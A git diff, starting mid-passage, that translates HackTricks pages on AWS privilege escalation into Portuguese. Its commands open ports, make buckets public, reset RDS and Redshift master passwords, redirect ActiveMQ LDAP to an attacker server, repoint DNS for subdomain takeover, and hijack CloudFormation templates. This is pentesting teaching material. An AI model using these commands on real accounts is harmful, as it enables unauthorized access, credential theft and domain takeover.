não for público, você também pode torná-lo público com essas permissões com ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` - -**Potential Impact:** Find sensitive info inside the database. +**Impacto Potencial:** Encontrar informações sensíveis dentro do banco de dados. ### `lightsail:OpenInstancePublicPorts` -This permission allow to open ports to the Internet - +Esta permissão permite abrir portas para a Internet. ```bash aws lightsail open-instance-public-ports \ - --instance-name MEAN-2 \ - --port-info fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Impacto Potencial:** Acesso a portas sensíveis. ### `lightsail:PutInstancePublicPorts` -This permission allow to open ports to the Internet. Note taht the call will close any port opened not specified on it. - +Esta permissão permite abrir portas para a Internet. Observe que a chamada fechará qualquer porta aberta que não esteja especificada nela. ```bash aws lightsail put-instance-public-ports \ - --instance-name MEAN-2 \ - --port-infos fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Impacto Potencial:** Acesso a portas sensíveis. ### `lightsail:SetResourceAccessForBucket` -This permissions allows to give an instances access to a bucket without any extra credentials - +Esta permissão permite dar a uma instância acesso a um bucket sem credenciais extras. ```bash aws set-resource-access-for-bucket \ - --resource-name \ - --bucket-name \ - --access allow +--resource-name \ +--bucket-name \ +--access allow ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Impacto Potencial:** Acesso potencial a buckets com informações sensíveis. ### `lightsail:UpdateBucket` -With this permission an attacker could grant his own AWS account read access over buckets or even make the buckets public to everyone: - +Com esta permissão, um atacante poderia conceder ao seu próprio conta AWS acesso de leitura sobre buckets ou até mesmo tornar os buckets públicos para todos: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -120,47 +101,36 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Impacto Potencial:** Acesso potencial a buckets com informações sensíveis. ### `lightsail:UpdateContainerService` -With this permissions an attacker could grant access to private ECRs from the containers service - +Com essas permissões, um atacante poderia conceder acesso a ECRs privados do serviço de contêineres. ```bash aws update-container-service \ - --service-name \ - --private-registry-access ecrImagePullerRole={isActive=boolean} +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} ``` - -**Potential Impact:** Get sensitive information from private ECR +**Impacto Potencial:** Obter informações sensíveis do ECR privado ### `lightsail:CreateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Um atacante com esta permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP. ```bash aws lightsail create-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Impacto Potencial:** Tomada de controle de um domínio ### `lightsail:UpdateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Um atacante com esta permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de controle do subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP. ```bash aws lightsail update-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Impacto Potencial:** Tomar controle de um domínio {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index a1004bde6..fe3d7e3d6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,26 +4,18 @@ ### `mediapackage:RotateChannelCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Altera o nome de usuário e a senha do primeiro IngestEndpoint do Canal. (Esta API está obsoleta para RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` - ### `mediapackage:RotateIngestEndpointCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Altera o nome de usuário e a senha do primeiro IngestEndpoint do Canal. (Esta API está obsoleta para RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` - -## References +## Referências - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 80890e389..7b1a5b119 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -4,7 +4,7 @@ ## MQ -For more information about MQ check: +Para mais informações sobre MQ, consulte: {{#ref}} ../aws-services/aws-mq-enum.md @@ -12,42 +12,32 @@ For more information about MQ check: ### `mq:ListBrokers`, `mq:CreateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +Com essas permissões, você pode **criar um novo usuário em um broker ActimeMQ** (isso não funciona no RabbitMQ): ```bash aws mq list-brokers aws mq create-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Impacto Potencial:** Acesso a informações sensíveis navegando pelo ActiveMQ ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +Com essas permissões, você pode **criar um novo usuário em um broker ActiveMQ** (isso não funciona no RabbitMQ): ```bash aws mq list-brokers aws mq list-users --broker-id aws mq update-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Impacto Potencial:** Acesso a informações sensíveis navegando pelo ActiveMQ ### `mq:ListBrokers`, `mq:UpdateBroker` -If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**. - +Se um broker estiver usando **LDAP** para autorização com **ActiveMQ**. É possível **alterar** a **configuração** do servidor LDAP usado para **um controlado pelo atacante**. Dessa forma, o atacante poderá **roubar todas as credenciais que estão sendo enviadas através do LDAP**. ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` +Se você conseguir de alguma forma encontrar as credenciais originais usadas pelo ActiveMQ, poderá realizar um MitM, roubar as credenciais, usá-las no servidor original e enviar a resposta (talvez apenas reutilizando as credenciais roubadas você consiga fazer isso). -If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this). - -**Potential Impact:** Steal ActiveMQ credentials +**Impacto Potencial:** Roubar credenciais do ActiveMQ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index f0538785f..93613f7cb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -4,7 +4,7 @@ ## MSK -For more information about MSK (Kafka) check: +Para mais informações sobre o MSK (Kafka), consulte: {{#ref}} ../aws-services/aws-msk-enum.md @@ -12,17 +12,11 @@ For more information about MSK (Kafka) check: ### `msk:ListClusters`, `msk:UpdateSecurity` -With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them. - +Com esses **privilégios** e **acesso à VPC onde os brokers kafka estão**, você poderia adicionar a **autenticação None** para acessá-los. ```bash aws msk --client-authentication --cluster-arn --current-version ``` - -You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\ -If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it. +Você precisa de acesso ao VPC porque **não é possível habilitar a autenticação None com Kafka exposto publicamente**. Se estiver exposto publicamente, se **a autenticação SASL/SCRAM** for usada, você poderá **ler o segredo** para acessar (você precisará de privilégios adicionais para ler o segredo).\ +Se **a autenticação baseada em função IAM** for usada e **o kafka estiver exposto publicamente**, você ainda poderá abusar desses privilégios para obter permissões para acessá-lo. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 7d43bbd3b..6d4e77c43 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -2,21 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Organizations +## Organizações -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-organizations-enum.md {{#endref}} -## From management Account to children accounts +## Da conta de gerenciamento para contas filhas -If you compromise the root/management account, chances are you can compromise all the children accounts.\ -To [**learn how check this page**](../#compromising-the-organization). +Se você comprometer a conta root/gerenciamento, é provável que você possa comprometer todas as contas filhas.\ +Para [**aprender como, ver esta página**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index b4a08093e..78840ec72 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## RDS - Relational Database Service +## RDS - Serviço de Banco de Dados Relacional -For more information about RDS check: +Para mais informações sobre RDS, consulte: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,59 +12,54 @@ For more information about RDS check: ### `rds:ModifyDBInstance` -With that permission an attacker can **modify the password of the master user**, and the login inside the database: - +Com essa permissão, um atacante pode **modificar a senha do usuário mestre**, e o login dentro do banco de dados: ```bash # Get the DB username, db name and address aws rds describe-db-instances # Modify the password and wait a couple of minutes aws rds modify-db-instance \ - --db-instance-identifier \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # In case of postgres psql postgresql://:@:5432/ ``` - > [!WARNING] -> You will need to be able to **contact to the database** (they are usually only accessible from inside networks). +> Você precisará ser capaz de **contatar o banco de dados** (eles geralmente são acessíveis apenas de redes internas). -**Potential Impact:** Find sensitive info inside the databases. +**Impacto Potencial:** Encontrar informações sensíveis dentro dos bancos de dados. ### rds-db:connect -According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. +De acordo com os [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), um usuário com essa permissão poderia se conectar à instância do DB. -### Abuse RDS Role IAM permissions +### Abusar das permissões do papel IAM do RDS #### Postgresql (Aurora) > [!TIP] -> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. - -First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions: +> Se ao executar **`SELECT datname FROM pg_database;`** você encontrar um banco de dados chamado **`rdsadmin`**, você sabe que está dentro de um **banco de dados postgresql da AWS**. +Primeiro, você pode verificar se este banco de dados foi usado para acessar qualquer outro serviço da AWS. Você pode verificar isso observando as extensões instaladas: ```sql SELECT * FROM pg_extension; ``` +Se você encontrar algo como **`aws_s3`**, pode assumir que este banco de dados tem **algum tipo de acesso ao S3** (existem outras extensões como **`aws_ml`** e **`aws_lambda`**). -If you find something like **`aws_s3`** you can assume this database has **some kind of access over S3** (there are other extensions such as **`aws_ml`** and **`aws_lambda`**). - -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can see there if the **cluster has any IAM Role attached** in the field **`AssociatedRoles`**. If any, you can assume that the database was **prepared to access other AWS services**. Based on the **name of the role** (or if you can get the **permissions** of the role) you could **guess** what extra access the database has. - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Além disso, se você tiver permissões para executar **`aws rds describe-db-clusters`**, pode ver lá se o **cluster tem algum IAM Role associado** no campo **`AssociatedRoles`**. Se houver, você pode assumir que o banco de dados foi **preparado para acessar outros serviços da AWS**. Com base no **nome da função** (ou se você conseguir obter as **permissões** da função), você poderia **adivinhar** que acesso extra o banco de dados possui. +Agora, para **ler um arquivo dentro de um bucket**, você precisa saber o caminho completo. Você pode lê-lo com: ```sql // Create table CREATE TABLE ttemp (col TEXT); // Create s3 uri SELECT aws_commons.create_s3_uri( - 'test1234567890678', // Name of the bucket - 'data.csv', // Name of the file - 'eu-west-1' //region of the bucket +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket ) AS s3_uri \gset // Load file contents in table @@ -76,98 +71,81 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` - -If you had **raw AWS credentials** you could also use them to access S3 data with: - +Se você tivesse **credenciais AWS brutas**, também poderia usá-las para acessar dados do S3 com: ```sql SELECT aws_s3.table_import_from_s3( - 't', '', '(format csv)', - :'s3_uri', - aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` - > [!NOTE] -> Postgresql **doesn't need to change any parameter group variable** to be able to access S3. +> Postgresql **não precisa mudar nenhuma variável do grupo de parâmetros** para poder acessar o S3. #### Mysql (Aurora) > [!TIP] -> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**. +> Dentro de um mysql, se você executar a consulta **`SELECT User, Host FROM mysql.user;`** e houver um usuário chamado **`rdsadmin`**, você pode assumir que está dentro de um **AWS RDS mysql db**. -Inside the mysql run **`show variables;`** and if the variables such as **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, have values, you can assume the database is prepared to access S3 data. +Dentro do mysql, execute **`show variables;`** e se as variáveis como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, tiverem valores, você pode assumir que o banco de dados está preparado para acessar dados do S3. -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can check if the cluster has any **associated role**, which usually means access to AWS services). - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Além disso, se você tiver permissões para executar **`aws rds describe-db-clusters`**, pode verificar se o cluster tem algum **papel associado**, o que geralmente significa acesso aos serviços da AWS). +Agora, para **ler um arquivo dentro de um bucket** você precisa saber o caminho completo. Você pode lê-lo com: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); SELECT * FROM ttemp; DROP TABLE ttemp; ``` - ### `rds:AddRoleToDBCluster`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBCluster` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. - +Um atacante com as permissões `rds:AddRoleToDBCluster` e `iam:PassRole` pode **adicionar um papel especificado a uma instância RDS existente**. Isso pode permitir que o atacante **acesse dados sensíveis** ou modifique os dados dentro da instância. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.\ -Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also. +**Impacto Potencial**: Acesso a dados sensíveis ou modificações não autorizadas nos dados na instância RDS.\ +Observe que alguns DBs requerem configurações adicionais, como Mysql, que precisa especificar o ARN da função nos grupos de parâmetros também. ### `rds:CreateDBInstance` -Just with this permission an attacker could create a **new instance inside a cluster** that already exists and has an **IAM role** attached. He won't be able to change the master user password, but he might be able to expose the new database instance to the internet: - +Apenas com essa permissão, um atacante poderia criar uma **nova instância dentro de um cluster** que já existe e tem uma **função IAM** anexada. Ele não poderá alterar a senha do usuário mestre, mas pode ser capaz de expor a nova instância de banco de dados à internet: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ - --db-instance-identifier mydbinstance2 \ - --db-instance-class db.t3.medium \ - --engine aurora-postgresql \ - --db-cluster-identifier database-1 \ - --db-security-groups "string" \ - --publicly-accessible +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible ``` - ### `rds:CreateDBInstance`, `iam:PassRole` > [!NOTE] > TODO: Test -An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance. +Um atacante com as permissões `rds:CreateDBInstance` e `iam:PassRole` pode **criar uma nova instância RDS com um papel especificado anexado**. O atacante pode então potencialmente **acessar dados sensíveis** ou modificar os dados dentro da instância. > [!WARNING] -> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - The profile must exist in your account. -> - The profile must have an IAM role that Amazon EC2 has permissions to assume. -> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` . +> Alguns requisitos do papel/perfil de instância a serem anexados (de [**aqui**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> - O perfil deve existir em sua conta. +> - O perfil deve ter um papel IAM que o Amazon EC2 tenha permissões para assumir. +> - O nome do perfil da instância e o nome do papel IAM associado devem começar com o prefixo `AWSRDSCustom`. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Impacto Potencial**: Acesso a dados sensíveis ou modificações não autorizadas nos dados na instância RDS. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. +Um atacante com as permissões `rds:AddRoleToDBInstance` e `iam:PassRole` pode **adicionar um papel especificado a uma instância RDS existente**. Isso poderia permitir que o atacante **acessasse dados sensíveis** ou modificasse os dados dentro da instância. > [!WARNING] -> The DB instance must be outside of a cluster for this - +> A instância do DB deve estar fora de um cluster para isso ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Impacto Potencial**: Acesso a dados sensíveis ou modificações não autorizadas nos dados na instância RDS. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 825c16ad6..145aa9440 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -4,7 +4,7 @@ ## Redshift -For more information about RDS check: +Para mais informações sobre RDS, consulte: {{#ref}} ../aws-services/aws-redshift-enum.md @@ -12,52 +12,45 @@ For more information about RDS check: ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it: - +Com essas permissões, você pode obter **informações de todos os clusters** (incluindo nome e nome de usuário do cluster) e **obter credenciais** para acessá-lo: ```bash # Get creds aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Impacto Potencial:** Encontrar informações sensíveis dentro dos bancos de dados. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -With these permissions you can get **info of all the clusters** and **get credentials** to access it.\ -Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has. - +Com essas permissões, você pode obter **informações de todos os clusters** e **obter credenciais** para acessá-los.\ +Observe que o usuário postgres terá as **permissões que a identidade IAM** usada para obter as credenciais possui. ```bash # Get creds aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Impacto Potencial:** Encontrar informações sensíveis dentro dos bancos de dados. ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet): - +É possível **modificar a senha mestre** do usuário interno postgres (redshit) a partir do aws cli (acho que essas são as permissões necessárias, mas ainda não as testei): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` +**Impacto Potencial:** Encontrar informações sensíveis dentro dos bancos de dados. -**Potential Impact:** Find sensitive info inside the databases. - -## Accessing External Services +## Acessando Serviços Externos > [!WARNING] -> To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned. +> Para acessar todos os recursos a seguir, você precisará **especificar o papel a ser usado**. Um cluster Redshift **pode ter uma lista de papéis AWS atribuídos** que você pode usar **se souber o ARN** ou você pode simplesmente definir "**default**" para usar o padrão atribuído. -> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> Além disso, como [**explicado aqui**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), o Redshift também permite concatenar papéis (desde que o primeiro possa assumir o segundo) para obter acesso adicional, mas apenas **separando-os** com uma **vírgula**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` ### Lambdas -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like: - +Como explicado em [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), é possível **chamar uma função lambda do redshift** com algo como: ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -65,11 +58,9 @@ STABLE LAMBDA 'lambda_function' IAM_ROLE default; ``` - ### S3 -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**: - +Como explicado em [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), é possível **ler e escrever em buckets S3**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -82,30 +73,23 @@ unload ('select * from venue') to 's3://mybucket/tickit/unload/venue_' iam_role default; ``` - ### Dynamo -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**: - +Como explicado em [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), é possível **obter dados do dynamodb**: ```sql copy favoritemovies from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` - > [!WARNING] -> The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located. +> A tabela Amazon DynamoDB que fornece os dados deve ser criada na mesma Região AWS que seu cluster, a menos que você use a opção [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) para especificar a Região AWS na qual a tabela Amazon DynamoDB está localizada. ### EMR -Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +Verifique [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) -## References +## Referências - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 0af161cbc..d4f58e093 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,117 +6,112 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges. - -For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy: +Um atacante com essas permissões sobre buckets interessantes pode ser capaz de sequestrar recursos e escalar privilégios. +Por exemplo, um atacante com essas **permissões sobre um bucket de cloudformation** chamado "cf-templates-nohnwfax6a6i-us-east-1" poderá sequestrar a implantação. O acesso pode ser concedido com a seguinte política: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": [ - "s3:PutBucketNotification", - "s3:GetBucketNotification", - "s3:PutObject", - "s3:GetObject" - ], - "Resource": [ - "arn:aws:s3:::cf-templates-*/*", - "arn:aws:s3:::cf-templates-*" - ] - }, - { - "Effect": "Allow", - "Action": "s3:ListAllMyBuckets", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] } ``` - -And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**. +E o sequestro é possível porque há uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **função lambda** em sua conta que será **ativada quando uma notificação de bucket for enviada**, e **sequestrar** o **conteúdo** desse **bucket**. ![](<../../../images/image (174).png>) -The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ -For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +O módulo Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) pode ser usado para automatizar esse ataque.\ +Para mais informações, consulte a pesquisa original: 